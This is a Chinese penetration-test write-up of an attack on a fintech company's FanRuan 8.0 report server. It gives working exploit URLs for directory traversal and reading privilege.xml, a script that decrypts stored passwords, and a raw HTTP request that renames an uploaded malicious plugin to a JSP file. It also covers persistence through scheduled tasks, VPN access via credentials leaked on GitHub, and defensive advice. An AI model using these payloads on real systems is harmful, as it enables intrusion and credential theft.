记录一次渗透测试艰难打点的过程
字数 996 2025-08-29 08:31:41
渗透测试实战:从艰难打点到内网突破
项目背景
- 目标:一家互联网金融公司
- 资产规模:100+个系统
- 技术栈:
- 主要:Springboot
- 次要:Node.js + Vue
- 防护措施:阿里云WAF
- 特殊点:去年已进行过渗透测试,发现的漏洞均已修复
渗透测试方法论
-
资产识别与分类
- 区分Springboot和Node.js系统
- 重点关注去年未测试的资产
-
突破点选择
- 客服系统(Node.js+Vue开发)
- 运行在444端口(https://www.test.com:444/)
- 功能点:文件上传(但上传至阿里云OSS)
关键突破点1:客服系统中的帆软报表系统
发现过程
-
观察细节:浏览器选项卡logo变化
- 原logo → 帆软报表系统logo
- 提示可能存在隐藏子系统
-
目录爆破
- 常规扫描未发现
- 搭建本地帆软环境分析路径结构
- 发现真实路径:https://www.test.com:444//WebReport/ReportServer
漏洞利用链
-
信息收集
- 版本确认:帆软8.0
- 已知漏洞利用:
- 目录遍历:
/WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../..¤tUserName=admin¤tUserId=1&isWebReport=true - 任意文件读取:
/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
- 目录遍历:
-
密码解密
- 获取加密凭证
- 使用解密脚本:
# -*- coding: utf-8 -*- cipher = 'xxx' PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] Password = "" cipher = cipher[3:] for i in range(int(len(cipher) / 4)): c1 = int("0x" + cipher[i*4:(i+1)*4], 16) c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8] Password = Password + chr(c2) print (Password) -
后台利用
- 成功登录后台
- 插件上传漏洞利用:
- 上传恶意插件
- 文件移动利用(参考ADog文章):
POST /WebReport/ReportServer?op=fr_server&cmd=manual_backup HTTP/1.1 Host: www.test.com:444 Content-Length: 106 ...(省略headers)... optype=edit_backup&oldname=../../plugins/plugin-com.fr.plugin.external&newname=data.jsp&serverID=
-
绕过限制
- 发现直接访问WebReport目录下文件返回404
- 替代方案:
- 利用计划任务实现命令执行
- 通过列目录找到计划任务目录
- 替换现有计划任务实现持久化
关键突破点2:GitHub源码泄露
-
信息发现
- 在系统文件中发现未登记的域名
- GitHub搜索发现6年前的历史仓库
-
信息利用
- 分析配置文件发现泄露邮箱
- 邮箱中获取VPN密码重置邮件
- 通过VPN进入内网
技术要点总结
-
细致观察
- 浏览器logo变化等细微线索
- 系统内隐藏的域名信息
-
针对性爆破
- 基于特定系统(帆软)的目录结构爆破
- 本地环境搭建辅助分析
-
漏洞组合利用
- 信息泄露+密码解密+后台漏洞组合拳
- 计划任务替代webshell实现命令执行
-
历史信息利用
- GitHub历史仓库挖掘
- 配置文件中敏感信息利用
防御建议
-
隐藏系统信息
- 避免暴露框架/系统标识
- 统一系统logo展示
-
访问控制
- 严格限制目录访问权限
- 实现URL访问白名单
-
敏感信息保护
- 配置文件加密处理
- 定期清理历史代码仓库
-
漏洞修复
- 及时更新第三方组件
- 禁用不必要的功能接口
-
监控措施
- 加强异常访问日志监控
- 实施文件变更告警